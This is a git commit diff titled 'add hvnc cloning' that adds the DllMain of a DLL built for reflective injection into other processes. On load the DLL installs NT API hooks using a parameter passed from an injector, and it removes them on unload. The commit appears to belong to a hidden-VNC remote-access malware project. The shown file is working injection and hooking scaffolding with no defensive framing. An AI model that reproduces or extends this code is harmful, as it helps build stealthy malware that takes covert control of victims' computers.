add hvnc cloning

2026-03-11 23:11:44 -05:00
parent 673825027a
commit ae9a1f9321
23 changed files with 3719 additions and 23 deletions
@@ -0,0 +1,43 @@
+//===============================================================================================//
+// This is a stub for the actuall functionality of the DLL.
+//===============================================================================================//
+#include "ReflectiveLoader.h"
+#include "NtApiHooks.h"
+
+// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
+// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own 
+// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
+
+// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
+extern HINSTANCE hAppInstance;
+
+// Store the parameter passed to ReflectiveLoader
+extern LPVOID g_lpReflectiveParameter;
+
+//===============================================================================================//
+BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
+{
+	BOOL bReturnValue = TRUE;
+	switch (dwReason)
+	{
+	case DLL_QUERY_HMODULE:
+		if (lpReserved != NULL)
+			*(HMODULE*)lpReserved = hAppInstance;
+		break;
+	case DLL_PROCESS_ATTACH:
+		hAppInstance = hinstDLL;
+		DisableThreadLibraryCalls(hinstDLL);
+
+		// Install NT API hooks with the parameter passed from the injector
+		InstallNtApiHooks(g_lpReflectiveParameter);
+		break;
+	case DLL_PROCESS_DETACH:
+		// Remove hooks on detach
+		RemoveNtApiHooks();
+		break;
+	case DLL_THREAD_ATTACH:
+	case DLL_THREAD_DETACH:
+		break;
+	}
+	return bReturnValue;
+}